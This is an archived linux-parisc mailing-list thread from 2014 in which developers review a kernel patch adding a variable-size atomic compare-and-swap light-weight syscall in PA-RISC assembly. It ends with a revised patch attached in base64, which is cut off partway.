+	b,n	cas2_end
+19:	std,ma	%r24, 0(%sr3,%r26)
+	copy	%r0, %r28
+#else
+	/* Compare first word */
+18:	ldd,ma	0(%sr3,%r26), %r29
+	sub,=	%r29, %r22, %r0
+	b,n	cas2_end
+	/* Compare second word */
+19:	ldd,ma	4(%sr3,%r26), %r29
+	sub,=	%r29, %r23, %r0
+	b,n	cas2_end
+	/* Performe the store */
+20:	flddx	0(%sr3,%r24), %fr4
+21:	fstdx	%fr4, 0(%sr3,%r26)
+	copy	%r0, %r28
+#endif
+
+cas2_end:
+	/* Free lock */
+	stw,ma	%r20, 0(%sr2,%r20)
+#if ENABLE_LWS_DEBUG
+	/* Clear thread register indicator */
+	stw	%r0, 4(%sr2,%r20)
+#endif
+	/* Enable interrupts */
+	ssm	PSW_SM_I, %r0
+	/* Return to userspace, set no error */
+	b	lws_exit
+	copy	%r0, %r21
+
+22:		
+	/* Error occurred on load or store */
+	/* Free lock */
+	stw	%r20, 0(%sr2,%r20)
+#if ENABLE_LWS_DEBUG
+	stw	%r0, 4(%sr2,%r20)
+#endif
+	ssm	PSW_SM_I, %r0
+	ldo	1(%r0),%r28
+	b	lws_exit
+	ldo	-EFAULT(%r0),%r21	/* set errno */
+	nop
+	nop
+	nop
+
+	/* Exception table entries, for the load and store, return EFAULT.
+	   Each of the entries must be relocated. */
+	ASM_EXCEPTIONTABLE_ENTRY(4b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(5b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(6b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(7b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(8b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(9b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(10b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(11b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(12b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(13b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(14b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(15b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(16b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(17b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(18b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(19b-linux_gateway_page, 22b-linux_gateway_page)
+#ifndef CONFIG_64BIT
+	ASM_EXCEPTIONTABLE_ENTRY(20b-linux_gateway_page, 22b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(21b-linux_gateway_page, 22b-linux_gateway_page)
+#endif
 
 	/* Make sure nothing else is placed on this page */
 	.align PAGE_SIZE
@@ -675,8 +943,9 @@
 	/* Light-weight-syscall table */
 	/* Start of lws table. */
 ENTRY(lws_table)
-	LWS_ENTRY(compare_and_swap32)	/* 0 - ELF32 Atomic compare and swap */
-	LWS_ENTRY(compare_and_swap64)	/* 1 - ELF64 Atomic compare and swap */
+	LWS_ENTRY(compare_and_swap32)		/* 0 - ELF32 Atomic 32bit compare and swap */
+	LWS_ENTRY(compare_and_swap64)		/* 1 - ELF64 Atomic 32bit compare and swap */
+	LWS_ENTRY(compare_and_swap_2)		/* 2 - ELF32 Atomic 64bit compare and swap */
 END(lws_table)
 	/* End of lws table */
 

--MP_/mSAcROvYiRceeOw_I3WU0V/--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCHv2] 64bit LWS CAS
Date: Tue, 29 Jul 2014 23:24:11 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <53D810FB.9010406@gmx.de>
References: <20140729211334.02d2b5e2@borg.lux.tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1406669071 10137 80.91.229.3 (29 Jul 2014 21:24:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Jul 2014 21:24:31 +0000 (UTC)
To: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 29 23:24:24 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XCEsg-0003uF-W3
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Jul 2014 23:24:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754288AbaG2VYW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jul 2014 17:24:22 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:65149 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754208AbaG2VYV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jul 2014 17:24:21 -0400
Original-Received: from [192.168.178.60] ([84.173.14.5]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0M5HZD-1WGyJv06Rz-00zUed; Tue, 29 Jul 2014 23:24:12
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <20140729211334.02d2b5e2@borg.lux.tuxicoman.be>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:9OJpznwSPey+85i5Dl5s4kSy0VmFt3wCViAj1gZU+lSPOPME1pD
 MO8T2KWZpiiaqdDlTT9K39mgKaqtuDvJffG2uRwJM0PFLt57IBps1YALevWySec33C8jX83
 6IGLazIsb0cc8UMFpwDY57DHCHd2xJ+7dhWebnSgcqWdnsPemYrhZLFA61lXcfSZwTvaakw
 niN2Mum+/aoW5Qkczr7hA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5963
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5963>

Hi Guy,

Very nice work !

On 07/29/2014 09:13 PM, Guy Martin wrote:
> Following the discussion about broken CAS for size != 4, I took a new 
> approach and implemented in a different way.
> 
> The new ABI takes the oldval, newval and mem as pointers plus a size 
> parameter. This means that a single LWS can now handle all types of 
> variable size.
> Note that the 32bit CAS for 64bit size has not been tested (not even
> compiled) since I can't compile a 32bit kernel a the moment.

I compile-tested it...(but didn't runtime tested it yet):

  AS      arch/parisc/kernel/syscall.o
/home/cvs/LINUX/git-kernel/linux-2.6/arch/parisc/kernel/syscall.S: Assembler messages:
/home/cvs/LINUX/git-kernel/linux-2.6/arch/parisc/kernel/syscall.S:866: Error: Invalid operands 
/home/cvs/LINUX/git-kernel/linux-2.6/arch/parisc/kernel/syscall.S:870: Error: Invalid operands 

Line 866 is the jump label 18:
18:     ldd,ma  0(%sr3,%r26), %r29

Line 870 is 19:
19:     ldd,ma  4(%sr3,%r26), %r29

I think both should be ldw ?

An idea:
Maybe the config option CONFIG_PA8X00 (which enables -march=2.0) can be used in
some places to use the 64bit assembler even on 32bit kernel (instead of using CONFIG_64BIT) ?

> My approach for 64bit CAS on 32bit is be the following :
>   - Load old into 2 registers
>   - Compare low and high part and bail out if different
>   - Load new into a FPU register
>   - Store the content of the FPU register to the memory
> 
> The point here being to do the store in the last step in a single 
> instruction.
> I think the same approach can be used for 128bit CAS as well but I
> don't think it's needed at the moment.

Since the 64bit CAS on 32bit currently uses 9 asms, it can't be added as is right now anyway.
Maybe it makes sense to pull out the "flddx 0(%sr3,%r24), %fr4" from this content and to preload
it to where you set up r22/r23-high/low ?

> Regading the GCC counterpart of the implementation, I'm not sure about 
> the way to proceed.
> 
> Should I try to detect the presence of the new LWS and use it for all 
> CAS operations at init time ?

I leave this up to Dave & Carlos to answer. 

> So far I only used the new LWS for 64bit CAS.

+       /***************************************************
+               New CAS implementation which uses pointers and variable size information.
+               The value pointed by old and new MUST NOT change while performing CAS.
+               The lock only protect the value at %r26.
+
+               %r26 - Address to examine
+               %r25 - Pointer to the value to check (old)
+               %r24 - Pointer to the value to set (new)
+               %r23 - Size of the variable (8bit = 0, 16bit = 1, 32bit = 2, 64bit = 4)

Since you shift %r23 in your code, I think the comment above is wrong for 64bit which should be 3 instead of 4 ?

You use nop's in your code to align to 32 bytes to be able to jump.
Does it make sense to use .align 32 instead ? I'm not sure myself about that...

Should we maybe drop the whole ENABLE_LWS_DEBUG thing? Was it ever used/enabled?

> I guess that using the new LWS unconditionally for all CAS operations 
> isn't an option since it will break for newer gcc on old kernels.

Up to now we only had the 32bit CAS working correctly, so we shouldn't care much
about the other CAS anyway. 
And if we get it backported into all relevant kernels before we change gcc
I would prefer this hard break...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCHv2] 64bit LWS CAS
Date: Wed, 30 Jul 2014 11:17:02 +0200
Lines: 289
Approved: news@gmane.org
Message-ID: <f4954acbf0d2c11646341cb93efdd247@tuxicoman.be>
References: <20140729211334.02d2b5e2@borg.lux.tuxicoman.be>
 <53D810FB.9010406@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="=_a65a2effa8fc3e62c5634e2c4e423ad1"
X-Trace: ger.gmane.org 1406711855 488 80.91.229.3 (30 Jul 2014 09:17:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Jul 2014 09:17:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 30 11:17:26 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XCQ0g-0000Pl-OG
	for glpp-linux-parisc@plane.gmane.org; Wed, 30 Jul 2014 11:17:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751356AbaG3JRW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Jul 2014 05:17:22 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:56186 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751211AbaG3JRU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Jul 2014 05:17:20 -0400
Original-Received: from ibiza.lux.tuxicoman.be (UnknownHost [85.93.195.103]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Wed, 30 Jul 2014 11:16:59 +0200
Original-Received: from cartman.lux.tuxicoman.be ([2001:7e8:2221:200:224:8cff:fed3:dda9] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1XCQ0M-0004lU-Kj; Wed, 30 Jul 2014 11:17:02 +0200
In-Reply-To: <53D810FB.9010406@gmx.de>
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5964
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5964>

--=_a65a2effa8fc3e62c5634e2c4e423ad1
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=UTF-8;
 format=flowed


Hi Helge,

On 2014-07-29 23:24, Helge Deller wrote:
> Hi Guy,
> 
> Very nice work !

Thanks !

> I compile-tested it...(but didn't runtime tested it yet):

I have attached the small test program I use to test the LWS outside gcc 
for easy testing.

Moreover, the gcc patch I attached previously is not the right one. It 
also contained JDA's changes.
I have attached a patch that applies against gcc's trunk.

>   AS      arch/parisc/kernel/syscall.o
> /home/cvs/LINUX/git-kernel/linux-2.6/arch/parisc/kernel/syscall.S:
> Assembler messages:
> /home/cvs/LINUX/git-kernel/linux-2.6/arch/parisc/kernel/syscall.S:866:
> Error: Invalid operands
> /home/cvs/LINUX/git-kernel/linux-2.6/arch/parisc/kernel/syscall.S:870:
> Error: Invalid operands
> 
> Line 866 is the jump label 18:
> 18:     ldd,ma  0(%sr3,%r26), %r29
> 
> Line 870 is 19:
> 19:     ldd,ma  4(%sr3,%r26), %r29
> 
> I think both should be ldw ?


Indeed, fixed in the new patch attached.


> An idea:
> Maybe the config option CONFIG_PA8X00 (which enables -march=2.0) can be 
> used in
> some places to use the 64bit assembler even on 32bit kernel (instead
> of using CONFIG_64BIT) ?

Indeed, this is definitely a good idea. But it should probably be a 
separate patch since we need to touch the existing code to enable wide 
mode when entering the LWS.

> 
>> My approach for 64bit CAS on 32bit is be the following :
>>   - Load old into 2 registers
>>   - Compare low and high part and bail out if different
>>   - Load new into a FPU register
>>   - Store the content of the FPU register to the memory
>> 
>> The point here being to do the store in the last step in a single
>> instruction.
>> I think the same approach can be used for 128bit CAS as well but I
>> don't think it's needed at the moment.
> 
> Since the 64bit CAS on 32bit currently uses 9 asms, it can't be added
> as is right now anyway.
> Maybe it makes sense to pull out the "flddx 0(%sr3,%r24), %fr4" from
> this content and to preload
> it to where you set up r22/r23-high/low ?

Good point, I changed that too. However, having 9 asm isns shouldn't be 
a problem there because we won't jump past that.


>> Regading the GCC counterpart of the implementation, I'm not sure about
>> the way to proceed.
>> 
>> Should I try to detect the presence of the new LWS and use it for all
>> CAS operations at init time ?
> 
> I leave this up to Dave & Carlos to answer.
> 
>> So far I only used the new LWS for 64bit CAS.
> 
> +       /***************************************************
> +               New CAS implementation which uses pointers and
> variable size information.
> +               The value pointed by old and new MUST NOT change while
> performing CAS.
> +               The lock only protect the value at %r26.
> +
> +               %r26 - Address to examine
> +               %r25 - Pointer to the value to check (old)
> +               %r24 - Pointer to the value to set (new)
> +               %r23 - Size of the variable (8bit = 0, 16bit = 1,
> 32bit = 2, 64bit = 4)
> 
> Since you shift %r23 in your code, I think the comment above is wrong
> for 64bit which should be 3 instead of 4 ?

Fixed.

> You use nop's in your code to align to 32 bytes to be able to jump.
> Does it make sense to use .align 32 instead ? I'm not sure myself about 
> that...

I don't know either, nop seemed like the easiest and cleanest way to do 
so for me.

> Should we maybe drop the whole ENABLE_LWS_DEBUG thing? Was it ever 
> used/enabled?

Indeed, I have not tested it and I dropped it in this new patch.

>> I guess that using the new LWS unconditionally for all CAS operations
>> isn't an option since it will break for newer gcc on old kernels.
> 
> Up to now we only had the 32bit CAS working correctly, so we shouldn't 
> care much
> about the other CAS anyway.
> And if we get it backported into all relevant kernels before we change 
> gcc
> I would prefer this hard break...


32bit CAS works but as far as I understand, 8 and 16 bit is broken since 
the stw in the current LWS will overwrite 3 and 2 bytes of memory 
respectively with zeros.
So IMHO this should definitely be changed.

   Guy



--=_a65a2effa8fc3e62c5634e2c4e423ad1
Content-Transfer-Encoding: base64
Content-Type: text/x-patch;
 name=linux-hppa-atomic-cas2_v2.patch
Content-Disposition: attachment;
 filename=linux-hppa-atomic-cas2_v2.patch;
 size=7767

ZGlmZiAtLWdpdCBhL2FyY2gvcGFyaXNjL2tlcm5lbC9zeXNjYWxsLlMgYi9hcmNoL3BhcmlzYy9r
ZXJuZWwvc3lzY2FsbC5TCmluZGV4IDgzODc4NjAuLmQ1NjVlMWYgMTAwNjQ0Ci0tLSBhL2FyY2gv
cGFyaXNjL2tlcm5lbC9zeXNjYWxsLlMKKysrIGIvYXJjaC9wYXJpc2Mva2VybmVsL3N5c2NhbGwu
UwpAQCAtNzQsNyArNzQsNyBAQCBFTlRSWShsaW51eF9nYXRld2F5X3BhZ2UpCiAJLyogQUREUkVT
UyAweGIwIHRvIDB4YjgsIGx3cyB1c2VzIHR3byBpbnNucyBmb3IgZW50cnkgKi8KIAkvKiBMaWdo
dC13ZWlnaHQtc3lzY2FsbCBlbnRyeSBtdXN0IGFsd2F5cyBiZSBsb2NhdGVkIGF0IDB4YjAgKi8K
IAkvKiBXQVJOSU5HOiBLZWVwIHRoaXMgbnVtYmVyIHVwZGF0ZWQgd2l0aCB0YWJsZSBzaXplIGNo
YW5nZXMgKi8KLSNkZWZpbmUgX19OUl9sd3NfZW50cmllcyAoMikKKyNkZWZpbmUgX19OUl9sd3Nf
ZW50cmllcyAoMykKIAogbHdzX2VudHJ5OgogCWdhdGUJbHdzX3N0YXJ0LCAlcjAJCS8qIGluY3Jl
YXNlIHByaXZpbGVnZSAqLwpAQCAtNTAyLDcgKzUwMiw3IEBAIGx3c19leGl0OgogCiAJCiAJLyoq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgotCQlJbXBs
ZW1lbnRpbmcgQ0FTIGFzIGFuIGF0b21pYyBvcGVyYXRpb246CisJCUltcGxlbWVudGluZyAzMmJp
dCBDQVMgYXMgYW4gYXRvbWljIG9wZXJhdGlvbjoKIAogCQklcjI2IC0gQWRkcmVzcyB0byBleGFt
aW5lCiAJCSVyMjUgLSBPbGQgdmFsdWUgdG8gY2hlY2sgKG9sZCkKQEAgLTY1OSw2ICs2NTksMjM5
IEBAIGNhc19hY3Rpb246CiAJQVNNX0VYQ0VQVElPTlRBQkxFX0VOVFJZKDJiLWxpbnV4X2dhdGV3
YXlfcGFnZSwgM2ItbGludXhfZ2F0ZXdheV9wYWdlKQogCiAKKwkvKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCisJCU5ldyBDQVMgaW1wbGVtZW50YXRp
b24gd2hpY2ggdXNlcyBwb2ludGVycyBhbmQgdmFyaWFibGUgc2l6ZSBpbmZvcm1hdGlvbi4KKwkJ
VGhlIHZhbHVlIHBvaW50ZWQgYnkgb2xkIGFuZCBuZXcgTVVTVCBOT1QgY2hhbmdlIHdoaWxlIHBl
cmZvcm1pbmcgQ0FTLgorCQlUaGUgbG9jayBvbmx5IHByb3RlY3QgdGhlIHZhbHVlIGF0ICVyMjYu
CisKKwkJJXIyNiAtIEFkZHJlc3MgdG8gZXhhbWluZQorCQklcjI1IC0gUG9pbnRlciB0byB0aGUg
dmFsdWUgdG8gY2hlY2sgKG9sZCkKKwkJJXIyNCAtIFBvaW50ZXIgdG8gdGhlIHZhbHVlIHRvIHNl
dCAobmV3KQorCQklcjIzIC0gU2l6ZSBvZiB0aGUgdmFyaWFibGUgKDhiaXQgPSAwLCAxNmJpdCA9
IDEsIDMyYml0ID0gMiwgNjRiaXQgPSAzKQorCQklcjI4IC0gUmV0dXJuIG5vbi16ZXJvIG9uIGZh
aWx1cmUKKwkJJXIyMSAtIEtlcm5lbCBlcnJvciBjb2RlCisKKwkJSWYgZGVidWdnaW5nIGlzIERJ
U2FibGVkOgorCisJCSVyMjEgaGFzIHRoZSBmb2xsb3dpbmcgbWVhbmluZ3M6CisKKwkJRUFHQUlO
IC0gQ0FTIGlzIGJ1c3ksIGxkY3cgZmFpbGVkLCB0cnkgYWdhaW4uCisJCUVGQVVMVCAtIFJlYWQg
b3Igd3JpdGUgZmFpbGVkLgorCisJCUlmIGRlYnVnZ2luZyBpcyBlbmFibGVkOgorCisJCUVERUFE
TE9DSyAtIENBUyBjYWxsZWQgcmVjdXJzaXZlbHkuCisJCUVBR0FJTiAmJiByMjggPT0gMSAtIENB
UyBpcyBidXN5LiBMb2NrIGNvbnRlbmRlZC4KKwkJRUFHQUlOICYmIHIyOCA9PSAyIC0gQ0FTIGlz
IGJ1c3kuIGxkY3cgZmFpbGVkLgorCQlFRkFVTFQgLSBSZWFkIG9yIHdyaXRlIGZhaWxlZC4KKwor
CQlTY3JhdGNoOiByMjAsIHIyMiwgcjI4LCByMjksIHIxLCBmcjQgKDMyYml0IGZvciA2NGJpdCBD
QVMgb25seSkKKworCSoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKiovCisKKwkvKiBFTEYzMiBQcm9jZXNzIGVudHJ5IHBhdGggKi8KK2x3c19jb21wYXJl
X2FuZF9zd2FwXzI6CisjaWZkZWYgQ09ORklHXzY0QklUCisJLyogQ2xpcCB0aGUgaW5wdXQgcmVn
aXN0ZXJzICovCisJZGVwZGkJMCwgMzEsIDMyLCAlcjI2CisJZGVwZGkJMCwgMzEsIDMyLCAlcjI1
CisJZGVwZGkJMCwgMzEsIDMyLCAlcjI0CisJZGVwZGkJMCwgMzEsIDMyLCAlcjIzCisjZW5kaWYK
KworCS8qIENoZWNrIHRoZSB2YWxpZGl0eSBvZiB0aGUgc2l6ZSBwb2ludGVyICovCisJc3ViaSw+
Pj0gNCwgJXIyMywgJXIwCisJYixuCWx3c19leGl0X25vc3lzCisKKwkvKiBKdW1wIHRvIHRoZSBm
dW5jdGlvbnMgd2hpY2ggd2lsbCBsb2FkIHRoZSBvbGQgYW5kIG5ldyB2YWx1ZXMgaW50bworCSAg
IHJlZ2lzdGVycyBkZXBlbmRpbmcgb24gdGhlIHRoZWlyIHNpemUgKi8KKwlzaGx3CSVyMjMsIDIs
ICVyMjkKKwlibHIJJXIyOSwgJXIwCisJbm9wCisKKwkvKiA4Yml0IGxvYWQgKi8KKzQ6CWxkYgkw
KCVzcjMsJXIyNSksICVyMjUKKwliCWNhczJfbG9ja19zdGFydAorNToJbGRiCTAoJXNyMywlcjI0
KSwgJXIyNAorCW5vcAorCW5vcAorCW5vcAorCW5vcAorCW5vcAorCisJLyogMTZiaXQgbG9hZCAq
LworNjoJbGRoCTAoJXNyMywlcjI1KSwgJXIyNQorCWIJY2FzMl9sb2NrX3N0YXJ0Cis3OglsZGgJ
MCglc3IzLCVyMjQpLCAlcjI0CisJbm9wCisJbm9wCisJbm9wCisJbm9wCisJbm9wCisKKwkvKiAz
MmJpdCBsb2FkICovCis4OglsZHcJMCglc3IzLCVyMjUpLCAlcjI1CisJYgljYXMyX2xvY2tfc3Rh
cnQKKzk6CWxkdwkwKCVzcjMsJXIyNCksICVyMjQKKwlub3AKKwlub3AKKwlub3AKKwlub3AKKwlu
b3AKKworCS8qIDY0Yml0IGxvYWQgKi8KKyNpZmRlZiBDT05GSUdfNjRCSVQKKzEwOglsZGQJMCgl
c3IzLCVyMjUpLCAlcjI1CisxMToJbGRkCTAoJXNyMywlcjI0KSwgJXIyNAorI2Vsc2UKKwkvKiBM
b2FkIG5ldyB2YWx1ZSBpbnRvIHIyMi9yMjMgLSBoaWdoL2xvdyAqLworMTA6CWxkdwkwKCVzcjMs
JXIyNSksICVyMjIKKzExOglsZHcJNCglc3IzLCVyMjUpLCAlcjIzCisJLyogTG9hZCBuZXcgdmFs
dWUgaW50byBmcjQgZm9yIGF0b21pYyBzdG9yZSBsYXRlciAqLworMTI6CWZsZGR4CTAoJXNyMywl
cjI0KSwgJWZyNAorI2VuZGlmCisKK2NhczJfbG9ja19zdGFydDoKKwkvKiBMb2FkIHN0YXJ0IG9m
IGxvY2sgdGFibGUgKi8KKwlsZGlsCUwlbHdzX2xvY2tfc3RhcnQsICVyMjAKKwlsZG8JUiVsd3Nf
bG9ja19zdGFydCglcjIwKSwgJXIyOAorCisJLyogRXh0cmFjdCBmb3VyIGJpdHMgZnJvbSByMjYg
YW5kIGhhc2ggbG9jayAoQml0cyA0LTcpICovCisJZXh0cnUgICVyMjYsIDI3LCA0LCAlcjIwCisK
KwkvKiBGaW5kIGxvY2sgdG8gdXNlLCB0aGUgaGFzaCBpcyBlaXRoZXIgb25lIG9mIDAgdG8KKwkg
ICAxNSwgbXVsdGlwbGllZCBieSAxNiAoa2VlcCBpdCAxNi1ieXRlIGFsaWduZWQpCisJICAgYW5k
IGFkZCB0byB0aGUgbG9jayB0YWJsZSBvZmZzZXQuICovCisJc2hsdwklcjIwLCA0LCAlcjIwCisJ
YWRkCSVyMjAsICVyMjgsICVyMjAKKworCXJzbQlQU1dfU01fSSwgJXIwCQkJCS8qIERpc2FibGUg
aW50ZXJydXB0cyAqLworCS8qIENPVyBicmVha3MgY2FuIGNhdXNlIGNvbnRlbnRpb24gb24gVVAg
c3lzdGVtcyAqLworCUxEQ1cJMCglc3IyLCVyMjApLCAlcjI4CQkJLyogVHJ5IHRvIGFjcXVpcmUg
dGhlIGxvY2sgKi8KKwljbXBiLDw+LG4JJXIwLCAlcjI4LCBjYXMyX2FjdGlvbgkvKiBEaWQgd2Ug
Z2V0IGl0PyAqLworY2FzMl93b3VsZGJsb2NrOgorCWxkbwkyKCVyMCksICVyMjgJCQkJLyogMm5k
IGNhc2UgKi8KKwlzc20JUFNXX1NNX0ksICVyMAorCWIJbHdzX2V4aXQJCQkJLyogQ29udGVuZGVk
Li4uICovCisJbGRvCS1FQUdBSU4oJXIwKSwgJXIyMQkJCS8qIFNwaW4gaW4gdXNlcnNwYWNlICov
CisKKwkvKgorCQlwcmV2ID0gKmFkZHI7CisJCWlmICggcHJldiA9PSBvbGQgKQorCQkgICphZGRy
ID0gbmV3OworCQlyZXR1cm4gcHJldjsKKwkqLworCisJLyogTk9URVM6CisJCVRoaXMgYWxsIHdv
cmtzIGJlY3VzZSBpbnRyX2RvX3NpZ25hbAorCQlhbmQgc2NoZWR1bGUgYm90aCBjaGVjayB0aGUg
cmV0dXJuIGlhc3EKKwkJYW5kIHNlZSB0aGF0IHdlIGFyZSBvbiB0aGUga2VybmVsIHBhZ2UKKwkJ
c28gdGhpcyBwcm9jZXNzIGlzIG5ldmVyIHNjaGVkdWxlZCBvZmYKKwkJb3IgaXMgZXZlciBzZW50
IGFueSBzaWduYWwgb2YgYW55IHNvcnQsCisJCXRodXMgaXQgaXMgd2hvbGx5IGF0b21pYyBmcm9t
IHVzcnNwYWNlcworCQlwZXJzcGVjdGl2ZQorCSovCitjYXMyX2FjdGlvbjoKKwkvKiBKdW1wIHRv
IHRoZSBjb3JyZWN0IGZ1bmN0aW9uICovCisJYmxyCSVyMjksICVyMAorCS8qIFNldCAlcjI4IGFz
IG5vbi16ZXJvIGZvciBub3cgKi8KKwlsZG8JMSglcjApLCVyMjgKKworCS8qIDhiaXQgQ0FTICov
CisxMzoJbGRiLG1hCTAoJXNyMywlcjI2KSwgJXIyOQorCXN1Yiw9CSVyMjksICVyMjUsICVyMAor
CWIsbgljYXMyX2VuZAorMTQ6CXN0YixtYQklcjI0LCAwKCVzcjMsJXIyNikKKwliCWNhczJfZW5k
CisJY29weQklcjAsICVyMjgKKwlub3AKKwlub3AKKworCS8qIDE2Yml0IENBUyAqLworMTU6CWxk
aCxtYQkwKCVzcjMsJXIyNiksICVyMjkKKwlzdWIsPQklcjI5LCAlcjI1LCAlcjAKKwliLG4JY2Fz
Ml9lbmQKKzE2OglzdGgsbWEJJXIyNCwgMCglc3IzLCVyMjYpCisJYgljYXMyX2VuZAorCWNvcHkJ
JXIwLCAlcjI4CisJbm9wCisJbm9wCisKKwkvKiAzMmJpdCBDQVMgKi8KKzE3OglsZHcsbWEJMCgl
c3IzLCVyMjYpLCAlcjI5CisJc3ViLD0JJXIyOSwgJXIyNSwgJXIwCisJYixuCWNhczJfZW5kCisx
ODoJc3R3LG1hCSVyMjQsIDAoJXNyMywlcjI2KQorCWIJY2FzMl9lbmQKKwljb3B5CSVyMCwgJXIy
OAorCW5vcAorCW5vcAorCisJLyogNjRiaXQgQ0FTICovCisjaWZkZWYgQ09ORklHXzY0QklUCisx
OToJbGRkLG1hCTAoJXNyMywlcjI2KSwgJXIyOQorCXN1Yiw9CSVyMjksICVyMjUsICVyMAorCWIs
bgljYXMyX2VuZAorMjA6CXN0ZCxtYQklcjI0LCAwKCVzcjMsJXIyNikKKwljb3B5CSVyMCwgJXIy
OAorI2Vsc2UKKwkvKiBDb21wYXJlIGZpcnN0IHdvcmQgKi8KKzE5OglsZHcsbWEJMCglc3IzLCVy
MjYpLCAlcjI5CisJc3ViLD0JJXIyOSwgJXIyMiwgJXIwCisJYixuCWNhczJfZW5kCisJLyogQ29t
